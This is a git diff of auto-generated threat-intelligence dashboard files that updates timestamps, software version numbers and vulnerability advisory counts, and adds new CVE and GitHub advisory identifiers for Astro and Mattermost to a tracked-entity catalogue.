| Moodle | `cms` | `rolling-24m` | `-` | `yes` | `40` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `40` | `2025-04-09T00:30:58.490` |
diff --git a/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html b/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html
index bbeea8e6..23f6c6bc 100644
--- a/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html
+++ b/08-threat-intel/generated/dashboard/docs/entity-catalog-report.html
@@ -88,7 +88,7 @@
# 分层实体覆盖与完整度报告
-- 生成时间: `2026-03-26T10:20:34+00:00`
+- 生成时间: `2026-03-27T09:30:59+00:00`
- 已编目实体: `110`
- 待编目 backlog: `7`
- history-full 已完成: `41`
diff --git a/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html b/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html
index e5eb82cb..2c859fc8 100644
--- a/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html
+++ b/08-threat-intel/generated/dashboard/docs/entity-discovery-backlog.html
@@ -88,7 +88,7 @@
# 分层实体发现 Backlog
-- 生成时间: `2026-03-26T10:20:34+00:00`
+- 生成时间: `2026-03-27T09:30:59+00:00`
- 待编目数量: `7`
| candidate_id | root_system | entity_type | risk | reason | waiting_for | source |
diff --git a/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html b/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html
index 6ffd9a33..23ac1777 100644
--- a/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html
+++ b/08-threat-intel/generated/dashboard/docs/source-catalog-audit.html
@@ -88,7 +88,7 @@
# Source Catalog Audit
-- generated_at: `2026-03-26T09:21:28+00:00`
+- generated_at: `2026-03-27T09:23:48+00:00`
- systems: `62`
- sources: `179`
- active_sources: `102`
diff --git a/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html b/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html
index 7027bb19..b91f63d8 100644
--- a/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html
+++ b/08-threat-intel/generated/dashboard/docs/testing-completeness-report.html
@@ -88,7 +88,7 @@
# 全库 Advisory 完整度报告
-- 生成时间: `2026-03-26T10:20:35+00:00`
+- 生成时间: `2026-03-27T09:31:01+00:00`
- 最新 advisory 完整度: `89/89` `verified-real`
- 合成验证数量: `0`
- 阻塞数量: `0`
@@ -96,7 +96,7 @@
- 完整度百分比: `100.0%`
- active source 全绿: `102/102`
- source open alerts: `0`
-- 最近一次 source 全绿: `2026-03-26T10:20:18+00:00`
+- 最近一次 source 全绿: `2026-03-27T09:30:44+00:00`
- 已编目实体: `110`
- 待编目 backlog: `7`
diff --git a/08-threat-intel/generated/dashboard/docs/version-sync-report.html b/08-threat-intel/generated/dashboard/docs/version-sync-report.html
index 5abbbad1..9b03dc56 100644
--- a/08-threat-intel/generated/dashboard/docs/version-sync-report.html
+++ b/08-threat-intel/generated/dashboard/docs/version-sync-report.html
@@ -88,11 +88,11 @@
# 安全相关版本同步报告
-- 生成时间: `2026-03-26T10:20:34+00:00`
+- 生成时间: `2026-03-27T09:31:00+00:00`
- 已编目实体: `110`
- 最新版本已同步: `95`
- 版本 source-gap: `15`
-- 安全相关版本记录: `6297`
+- 安全相关版本记录: `6307`
- 存在安全版本历史的实体: `83`
- 自动升级实体: `10`
- 因版本变化触发 lab 入队: `3`
@@ -107,7 +107,7 @@
| apache-httpd | 1 | 1 | 0 | 1 | 0 |
| apache-tomcat | 1 | 1 | 0 | 2 | 0 |
| aspnet-core | 1 | 0 | 1 | 0 | 0 |
-| astro | 3 | 3 | 0 | 30 | 0 |
+| astro | 3 | 3 | 0 | 32 | 0 |
| caddy | 3 | 3 | 0 | 7 | 0 |
| directus | 2 | 2 | 0 | 2 | 1 |
| discourse | 1 | 1 | 0 | 80 | 0 |
@@ -131,7 +131,7 @@
| koa | 2 | 2 | 0 | 4 | 0 |
| laravel | 2 | 2 | 0 | 103 | 0 |
| magento-open-source | 2 | 2 | 0 | 6 | 1 |
-| mattermost | 5 | 5 | 0 | 3840 | 0 |
+| mattermost | 5 | 5 | 0 | 3848 | 0 |
| mediawiki | 1 | 1 | 0 | 252 | 0 |
| medusa | 1 | 0 | 1 | 0 | 0 |
| moodle | 1 | 0 | 1 | 0 | 0 |
diff --git a/08-threat-intel/generated/dashboard/entities.json b/08-threat-intel/generated/dashboard/entities.json
index f307f931..de6ab87d 100644
--- a/08-threat-intel/generated/dashboard/entities.json
+++ b/08-threat-intel/generated/dashboard/entities.json
@@ -20,7 +20,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -79,7 +79,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -245,7 +245,7 @@
],
"version_sync_status": "green",
"security_version_count": 18,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/angular/angular/security/advisories/GHSA-prjf-86w9-mfqv",
@@ -292,7 +292,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 18,
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -354,7 +354,7 @@
],
"version_sync_status": "green",
"security_version_count": 1,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Apache HTTPD Security"
],
@@ -560,7 +560,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Apache Tomcat Security"
],
@@ -763,7 +763,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -816,7 +816,7 @@
"repo_url": "",
"package_registry": "https://www.npmjs.com/package/astro",
"marketplace_url": "",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"version_scheme": "semver-ish",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"latest_release_url": "https://www.npmjs.com/package/astro",
@@ -827,7 +827,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723",
@@ -867,7 +867,7 @@
"repo_url": "",
"package_registry": "https://www.npmjs.com/package/astro",
"marketplace_url": "",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"version_scheme": "semver-ish",
"latest_release_at": "2025-11-27T08:22:36.525875Z",
"latest_release_url": "https://www.npmjs.com/package/astro",
@@ -882,11 +882,12 @@
"https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767",
"https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw",
"https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7",
- "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2"
+ "https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2",
+ "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
],
"version_sync_status": "green",
- "security_version_count": 26,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "security_version_count": 28,
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw",
@@ -899,7 +900,8 @@
"https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw",
"https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7",
"https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2",
- "advisory-fixed-version"
+ "advisory-fixed-version",
+ "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
],
"catalog_source": "",
"catalog_reason": "",
@@ -909,11 +911,11 @@
"history_backfill_status": "complete",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 12,
- "workflow_complete_advisory_count": 12,
- "version_mapped_advisory_count": 12,
+ "advisory_count": 13,
+ "workflow_complete_advisory_count": 13,
+ "version_mapped_advisory_count": 13,
"first_advisory_at": "2024-12-18T15:02:37+00:00",
- "latest_advisory_at": "2026-02-04T03:01:27+00:00",
+ "latest_advisory_at": "2026-03-26T19:01:26+00:00",
"advisory_ids": [
"astro--CVE-2024-56140",
"astro--CVE-2024-56159",
@@ -926,7 +928,8 @@
"astro--CVE-2025-64757",
"astro--CVE-2025-64765",
"astro--CVE-2025-65019",
- "astro--CVE-2025-66202"
+ "astro--CVE-2025-66202",
+ "astro--CVE-2026-33769"
],
"source_refs": []
},
@@ -944,14 +947,14 @@
"repo_url": "",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "6.0.8",
+ "latest_version": "6.1.1",
"version_scheme": "vendor",
"latest_release_at": "2025-11-20T14:43:59.624508Z",
"latest_release_url": "https://www.npmjs.com/package/astro",
"version_source_refs": [],
"version_sync_status": "green",
- "security_version_count": 30,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "security_version_count": 32,
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -961,11 +964,11 @@
"history_backfill_status": "complete",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 14,
- "workflow_complete_advisory_count": 14,
- "version_mapped_advisory_count": 14,
+ "advisory_count": 15,
+ "workflow_complete_advisory_count": 15,
+ "version_mapped_advisory_count": 15,
"first_advisory_at": "2024-10-14T20:02:21+00:00",
- "latest_advisory_at": "2026-02-04T03:01:27+00:00",
+ "latest_advisory_at": "2026-03-26T19:01:26+00:00",
"advisory_ids": [
"astro--CVE-2024-47885",
"astro--CVE-2024-56140",
@@ -980,7 +983,8 @@
"astro--CVE-2025-64764",
"astro--CVE-2025-64765",
"astro--CVE-2025-65019",
- "astro--CVE-2025-66202"
+ "astro--CVE-2025-66202",
+ "astro--CVE-2026-33769"
],
"source_refs": [
{
@@ -1026,7 +1030,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/caddyserver/caddy/security/advisories/GHSA-5r3v-vc8m-m96g",
@@ -1076,7 +1080,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4",
@@ -1129,7 +1133,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 7,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -1219,7 +1223,7 @@
],
"version_sync_status": "green",
"security_version_count": 1,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Directus GitHub Advisories"
@@ -1272,7 +1276,7 @@
],
"version_sync_status": "green",
"security_version_count": 1,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Directus GitHub Advisories"
],
@@ -1375,7 +1379,7 @@
],
"version_sync_status": "green",
"security_version_count": 80,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Discourse Release Notes RSS",
"Discourse Security RSS"
@@ -1492,7 +1496,7 @@
],
"version_sync_status": "green",
"security_version_count": 160,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2019-11358"
@@ -1559,7 +1563,7 @@
],
"version_sync_status": "green",
"security_version_count": 160,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Django Security Weblog",
"Django Security Releases Archive"
@@ -1725,7 +1729,7 @@
],
"version_sync_status": "green",
"security_version_count": 74,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Drupal Security Advisories RSS"
],
@@ -1866,7 +1870,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://github.com/labstack/echo/pull/1718",
@@ -1913,7 +1917,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -1967,7 +1971,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99"
@@ -2011,7 +2015,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2077,7 +2081,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2147,7 +2151,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/fastify/fastify/security/advisories/GHSA-573f-x89g-hqp9",
@@ -2193,7 +2197,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2255,7 +2259,7 @@
],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/pallets/flask/security/advisories/GHSA-68rp-wp8r-4726"
@@ -2299,7 +2303,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2350,17 +2354,18 @@
"repo_url": "https://github.com/TryGhost/Ghost",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "6.22.1",
+ "latest_version": "6.23.0",
"version_scheme": "semver-ish",
- "latest_release_at": "2026-03-20T15:25:05Z",
- "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.22.1",
+ "latest_release_at": "2026-03-26T15:04:27Z",
+ "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.23.0",
"version_source_refs": [
"https://github.com/TryGhost/Ghost/releases/tag/v6.22.1",
- "https://github.com/login?return_to=%2FTryGhost%2FGhost"
+ "https://github.com/login?return_to=%2FTryGhost%2FGhost",
+ "https://github.com/TryGhost/Ghost/releases/tag/v6.23.0"
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Ghost GitHub Advisories"
@@ -2404,16 +2409,16 @@
"repo_url": "",
"package_registry": "",
"marketplace_url": "",
- "latest_version": "6.22.1",
+ "latest_version": "6.23.0",
"version_scheme": "vendor",
- "latest_release_at": "2026-03-20T15:25:05Z",
- "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.22.1",
+ "latest_release_at": "2026-03-26T15:04:27Z",
+ "latest_release_url": "https://github.com/TryGhost/Ghost/releases/tag/v6.23.0",
"version_source_refs": [
"https://github.com/login?return_to=%2FTryGhost%2FGhost"
],
"version_sync_status": "green",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Ghost GitHub Advisories"
],
@@ -2506,7 +2511,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://nvd.nist.gov/vuln/detail/CVE-2020-28483",
@@ -2551,7 +2556,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2601,7 +2606,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2673,7 +2678,7 @@
],
"version_sync_status": "green",
"security_version_count": 627,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitLab Security Releases Atom"
],
@@ -2804,7 +2809,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -2924,7 +2929,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://www.npmjs.com/advisories/1482"
@@ -2968,7 +2973,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -3029,7 +3034,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"HAProxy Blog Feed"
],
@@ -3103,7 +3108,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -3234,7 +3239,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Joomla Security Centre"
],
@@ -3401,7 +3406,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -3524,7 +3529,7 @@
],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm"
@@ -3568,7 +3573,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 4,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -3629,7 +3634,7 @@
],
"version_sync_status": "green",
"security_version_count": 103,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Packagist p2",
"https://github.com/laravel/framework/security/advisories/GHSA-66hf-2p6w-jqfw"
@@ -3674,7 +3679,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 103,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -3739,7 +3744,7 @@
],
"version_sync_status": "green",
"security_version_count": 3,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Sansec Research"
@@ -3795,7 +3800,7 @@
],
"version_sync_status": "green",
"security_version_count": 3,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Sansec Research"
],
@@ -3961,7 +3966,7 @@
],
"version_sync_status": "green",
"security_version_count": 759,
- "last_version_synced_at": "2026-03-26T10:20:24+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:49+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON",
"https://securityupdates.mattermost.com/security_updates.json",
@@ -4012,7 +4017,7 @@
],
"version_sync_status": "green",
"security_version_count": 756,
- "last_version_synced_at": "2026-03-26T10:20:24+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:49+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON",
"https://securityupdates.mattermost.com/security_updates.json",
@@ -4059,7 +4064,7 @@
],
"version_sync_status": "green",
"security_version_count": 764,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON",
"advisory-fixed-version",
@@ -4127,11 +4132,13 @@
"https://nvd.nist.gov/vuln/detail/CVE-2026-25780",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2578",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2455",
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24458"
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-24458",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-25783"
],
"version_sync_status": "green",
- "security_version_count": 810,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "security_version_count": 818,
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"https://nvd.nist.gov/vuln/detail/CVE-2026-22545",
@@ -4146,7 +4153,9 @@
"https://nvd.nist.gov/vuln/detail/CVE-2026-25780",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2578",
"https://nvd.nist.gov/vuln/detail/CVE-2026-2455",
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24458"
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-24458",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-25783"
],
"catalog_source": "",
"catalog_reason": "",
@@ -4156,22 +4165,24 @@
"history_backfill_status": "seeded",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 12,
- "workflow_complete_advisory_count": 12,
- "version_mapped_advisory_count": 12,
+ "advisory_count": 14,
+ "workflow_complete_advisory_count": 14,
+ "version_mapped_advisory_count": 14,
"first_advisory_at": "2026-03-16T15:30:42+00:00",
- "latest_advisory_at": "2026-03-23T18:56:23+00:00",
+ "latest_advisory_at": "2026-03-26T21:11:24+00:00",
"advisory_ids": [
"mattermost--CVE-2026-21386",
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -4199,8 +4210,8 @@
"https://securityupdates.mattermost.com/security_updates.json"
],
"version_sync_status": "green",
- "security_version_count": 3089,
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "security_version_count": 3097,
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"latest_version_evidence": [
"Mattermost Security Updates JSON"
],
@@ -4212,22 +4223,24 @@
"history_backfill_status": "complete",
"latest_sync_status": "green",
"official_source_covered": true,
- "advisory_count": 31,
- "workflow_complete_advisory_count": 31,
- "version_mapped_advisory_count": 31,
+ "advisory_count": 33,
+ "workflow_complete_advisory_count": 33,
+ "version_mapped_advisory_count": 33,
"first_advisory_at": "2026-02-23T00:00:00+00:00",
- "latest_advisory_at": "2026-03-23T18:56:23+00:00",
+ "latest_advisory_at": "2026-03-26T21:11:24+00:00",
"advisory_ids": [
"mattermost--CVE-2026-21386",
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265",
"mattermost--Issue Identifier",
@@ -4315,7 +4328,7 @@
],
"version_sync_status": "green",
"security_version_count": 254,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"MediaWiki Announce RSS"
],
@@ -4460,7 +4473,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -4532,7 +4545,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -4637,7 +4650,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -4720,7 +4733,7 @@
],
"version_sync_status": "green",
"security_version_count": 168,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/vercel/next.js",
@@ -4817,7 +4830,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 168,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -4948,7 +4961,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
@@ -5123,7 +5136,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
